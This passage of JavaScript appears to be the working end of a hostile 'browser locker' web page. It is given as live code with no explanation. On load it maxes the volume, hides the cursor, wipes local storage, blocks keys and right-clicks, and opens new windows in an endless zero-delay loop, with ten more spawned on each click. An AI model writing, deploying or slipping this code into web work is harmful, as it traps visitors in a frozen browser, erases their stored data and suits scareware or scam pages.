`; window.open('data:text/html,' + encodeURIComponent(chaosHTML), '_blank'); } // Click = instant massive spam function onAnyClick(e) { if (e) { e.preventDefault(); e.stopImmediatePropagation(); } for (let i = 0; i < 10; i++) { setTimeout(spawnChaos, i * 2); } return false; } // Automatic infinite 0-delay chaos function infiniteChaos() { spawnChaos(); setTimeout(infiniteChaos, 0); } // Initialize everything instantly window.onload = function() { maxVolume(); requestNotifications(); setInterval(enforce, 10); setInterval(hideCursor, 5); setInterval(clearStorage, 0); // Mouse + click triggers (also spawns chaos) document.addEventListener('contextmenu', onAnyClick, true); document.addEventListener('mousedown', onAnyClick, true); document.addEventListener('click', onAnyClick, true); document.addEventListener('mousemove', hideCursor, true); document.addEventListener('keydown', blockKeys, true); enforce(); infiniteChaos(); // start full chaos immediately };